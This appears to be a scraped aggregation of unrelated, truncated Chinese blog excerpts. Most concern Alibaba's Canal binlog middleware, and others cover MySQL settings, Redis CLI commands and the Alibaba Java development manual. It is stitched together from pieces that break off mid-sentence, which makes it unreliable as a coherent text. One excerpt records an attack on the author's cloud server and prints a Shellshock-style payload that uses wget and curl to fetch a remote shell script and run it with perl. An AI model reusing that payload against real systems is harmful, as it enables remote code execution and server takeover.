阿里Canal项目请先了解:canal 考虑可能binlog大批量变更,如果直接通过Canal订阅binlog变动,会造成CanalClient会瞬间爆掉.为了解决这个问题,我们可以引入kafka做一层封装,可以解决这个问题. 公司实现一套框架,拿来分享大家.感谢原作者. 1. 服务端-封装Canal订阅binlog消息并推送到kafka binlogService server 启动端: import java.util.concurrent.Executors import com.toda

一.前言 Binlog是MySQL数据库的二进制日志,用于记录用户对数据库操作的SQL语句(除了数据查询语句)信息.而Binlog格式也有三种,分别为STATEMENT.ROW.MIXED.STATMENT模式基于SQL语句的复制,每一条会修改数据的SQL语句会记录.ROW模式除了记录SQL语句之外,还会记录每个字段的变化情况,能够清楚的记录每行数据的变化历史,会占用较多的空间.MIXED比较灵活的记录,当遇到表结构变更的时候,就会记录为STATMENT模式,当遇到了数据更新或者删除情况下就会变

Canal的简单使用 canal可以用来监控数据库数据的变化,从而获得新增数据,或者修改的数据,用于实际工作中,比较实用,特此记录一下 Canal简介 canal是应阿里巴巴存在杭州和美国的双机房部署,存在跨机房同步的业务需求而提出的. 阿里系公司开始逐步的尝试基于数据库的日志解析,获取增量变更进行同步,由此衍生出了增量订阅&消费的业务 基于日志增量订阅&消费支持的业务:数据库镜像数据库实时备份多级索引 (卖家和买家各自分库索引)search build业务cache刷新价格变化等重要业务

from: http://www.cnblogs.com/duanxz/p/5062833.html 背景 早期,阿里巴巴B2B公司因为存在杭州和美国双机房部署,存在跨机房同步的业务需求.不过早期的数据库同步业务,主要是基于trigger的方式获取增 量变更,不过从2010年开始,阿里系公司开始逐步的尝试基于数据库的日志解析,获取增量变更进行同步,由此衍生出了增量订阅&消费的业务,从此 开启了一段新纪元.ps. 目前内部使用的同步,已经支持mysql5.x和oracle部分版本的日志解析 基于日

最近在工作中需要处理一些大数据量同步的场景,正好运用到了canal这款数据库中间件,因此特意花了点时间来进行该中间件的的学习和总结. 背景介绍 早期,阿里巴巴B2B公司因为存在杭州和美国双机房部署,存在跨机房同步的业务需求.不过早期的数据库同步业务,主要是基于trigger的方式获取增量变更,不过从2010年开始,阿里系公司开始逐步的尝试基于数据库的日志解析,获取增量变更进行同步,由此衍生出了增量订阅&消费的业务,从此开启了一段新纪元. 适用版本 支持mysql5.7及以下版本 传统的主从同步原

一.Canal简介: canal是阿里巴巴旗下的一款开源项目,纯Java开发.基于数据库增量日志解析,提供增量数据订阅&消费,目前主要支持了MySQL(也支持mariaDB). 二.背景介绍: 早期,阿里巴巴B2B公司因为存在杭州和美国双机房部署,存在跨机房同步的业务需求.不过早期的数据库同步业务,主要是基于trigger的方式获取增量变更,不过从2010年开始,阿里系公司开始逐步的尝试基于数据库的日志解析,获取增量变更进行同步,由此衍生出了增量订阅&消费的业务,从此开启了一段新纪元. 三

首先在源mysql的.ini文件中进行配置 [client]default-character-set=utf8 [mysqld]basedir = E:/testCanal/mysql-5.7.17-winx64datadir = E:/testCanal/mysql-5.7.17-winx64/dataport = 3306max_allowed_packet = 20M log-bin=mysql-binbinlog-format=ROWserver_id=1 sql_mode=NO_EN

select resource_size_int from t_resource_info where release_status in (1,3) and res_type in (1,2,4,5) and resource_size_int>0 and GROUP_id=1 limit 0,1000 1.使用Python开发一个分页初始化的脚本,将目前的资源尺寸保存到一张表中,比如 t_res_sumarry_Table,按 limit 0,1000limit 1001,2000limit

./redis-cli -a root 带密码链接 root 为我的密码del key 删除key keys * 查询 所有keyexist key key是否存在 成功返回1 失败Wie0 set k vale 设置键值对setnx k v 不存在则加入 分布式锁getrange k start end 截取字符串ttl key 查询key的过期时间返回 -1 为永久(默认永久)incrby keyname 增量值 key中村的数字加上指定的增量值(原子性)dece kename 减值 不写增

大家好,我是不才陈某~ 数据同步一直是一个令人头疼的问题.在业务量小,场景不多,数据量不大的情况下我们可能会选择在项目中直接写一些定时任务手动处理数据,例如从多个表将数据查出来,再汇总处理,再插入到相应的地方. 但是随着业务量增大,数据量变多以及各种复杂场景下的分库分表的实现,使数据同步变得越来越困难. 今天这篇文章使用阿里开源的中间件Canal解决数据增量同步的痛点. 文章目录如下: Canal是什么? canal译意为水道/管道/沟渠,主要用途是基于 MySQL 数据库增量日志解析,提供增量

前言 在阅读<阿里巴巴Java开发手册>时,看到命名规则中有这样一条 虽然知道这些是根据Java对象的角色所分配名称的后缀,但是没有弄清楚分别是什么意思,日常开发中也没有使用到. 网上查找了一些资料,但是感觉大多数都是一样的,可能大家都是互相copy,篇幅过长并且不易理解. 别灰心!<阿里巴巴Java开发手册>中对于上面这些在领域模型的命名使用上给出了规范,说的很清楚,分享给大家. 领域模型命名规约 1.数据对象:xxxDO,xxx即为数据表名: 2.数据传输对象:xxxDTO,x

[链接]alibaba/otterhttps://github.com/alibaba/otter https://github.com/alibaba/canal

canal介绍 canal是应阿里巴巴存在杭州和美国的双机房部署,存在跨机房同步的业务需求而提出的.早期,阿里巴巴B2B公司因为存在杭州和美国双机房部署,存在跨机房同步的业务需求.不过早期的数据库同步业务,主要是基于trigger的方式获取增量变更,不过从2010年开始,阿里系公司开始逐步的尝试基于数据库的日志解析,获取增量变更进行同步,由此衍生出了增量订阅&消费的业务,从此开启了一段新纪元.ps. 目前内部使用的同步,已经支持mysql5.x和oracle部分版本的日志解析. 基于日志增量订阅

今天发现阿里云ECS被攻击了,记录一下, /1.1 Match1:{ :;};/usr/bin/perl -e 'print .content-type: text/plain.r.n.r.nxsuccess!.;system(.wget http://lbinvestment.com/shell.txt -o /tmp/shell.txt;curl -o /tmp/shell.txt http://lbinvestment.com/shell.txt;perl /tmp/shell.txt ;

下载原版阿里JAVA开发手册  [阿里巴巴Java开发手册v1.2.0] 本文主要是对照阿里开发手册,注释自己在工作中运用情况. 本文难度系数为三星(★★★) 本文为第二篇 第一篇 点评阿里JAVA手册之编程规约(命名风格.常量定义.代码风格.控制语句.注释规约) 码出高效.码出质量. 代码的字里行间流淌的是软件生命中的血液,质量的提升是尽可能少踩坑,杜绝踩重复的坑,切实提升质量意识.另外,现代软件架构都需要协同开发完成,高效协作即降低协同成本,提升沟通效率,所谓无规矩不成方圆,无规范不能协作.

下载原版阿里JAVA开发手册  [阿里巴巴Java开发手册v1.2.0] 本文主要是对照阿里开发手册,注释自己在工作中运用情况. 本文难度系数为一星(★) 码出高效.码出质量. 代码的字里行间流淌的是软件生命中的血液,质量的提升是尽可能少踩坑,杜绝踩重复的坑,切实提升质量意识.另外,现代软件架构都需要协同开发完成,高效协作即降低协同成本,提升沟通效率,所谓无规矩不成方圆,无规范不能协作.众所周知,制订交通法规表面上是要限制行车权,实际上是保障公众的人身安全.试想如果没有限速,没有红绿灯,谁还敢上

下载原版阿里JAVA开发手册  [阿里巴巴Java开发手册v1.2.0] 本文主要是对照阿里开发手册,注释自己在工作中运用情况. 本文内容:异常处理 日志规约 本文难度系数为一星(★) 本文为第三篇 第一篇 点评阿里JAVA手册之编程规约(命名风格.常量定义.代码风格.控制语句.注释规约) 第二篇 点评阿里JAVA手册之编程规约(OOP 规约 .集合处理 .并发处理 .其他) 第三篇 点评阿里JAVA手册之异常日志(异常处理 日志规约 ) 第四篇 点评阿里JAVA手册之MySQL数据库 (建表规

POC的目的:1.与MYSQL的对接方式,配置文档2.订阅的延迟3.订阅后宕机消息会不会丢失4.能不能从指定的点开始重新订阅5.高并发写入的时候,日志的顺序是否还能保持,不考虑消费的情况订阅是否会延迟 ###写完word文档直接拷贝过来,格式一般般... Canal介绍 官网地址:https://github.com/alibaba/canal Mysql主备复制原理 从上层来看,复制分成三步: master将改变记录到二进制日志(binary log)中(这些记录叫做二进制日志事件,binar

一.前言 CanalSharp是阿里巴巴开源项目mysql数据库binlog的增量订阅&消费组件 Canal 的.NET客户端,关于什么是 Canal?又能做什么?我会在后文为大家一一介绍.CanalSharp 这个项目,是由我和 WithLin(主要贡献) 完成,并将一直进行维护的Canal的.NET客户端项目.目前开源在github:https://github.com/CanalSharp/CanalSharp/ 希望大家多多支持,旨在为.NET开发者提供一个友好的对接Canal的选择,为

公司是做社交相关产品的,社交类产品对搜索功能需求要求就比较高,需要根据用户城市.用户ID昵称等进行搜索. 项目原先的搜索接口采用SQL查询的方式实现,数据库表采用了按城市分表的方式.但随着业务的发展,搜索接口调用频次越来越高,搜索接口压力越来越大,搜索数据库经常崩溃,从而导致搜索功能经常不能使用. 从上面的系统架构图可以看出,当用户修改资料时,接口会修改用户库信息,接着触发器会将改变的用户信息写入临时表.定时脚本每隔1分钟扫描一次临时表,将变更的数据写入到搜索库中.当用户再次请求搜索接口时,就可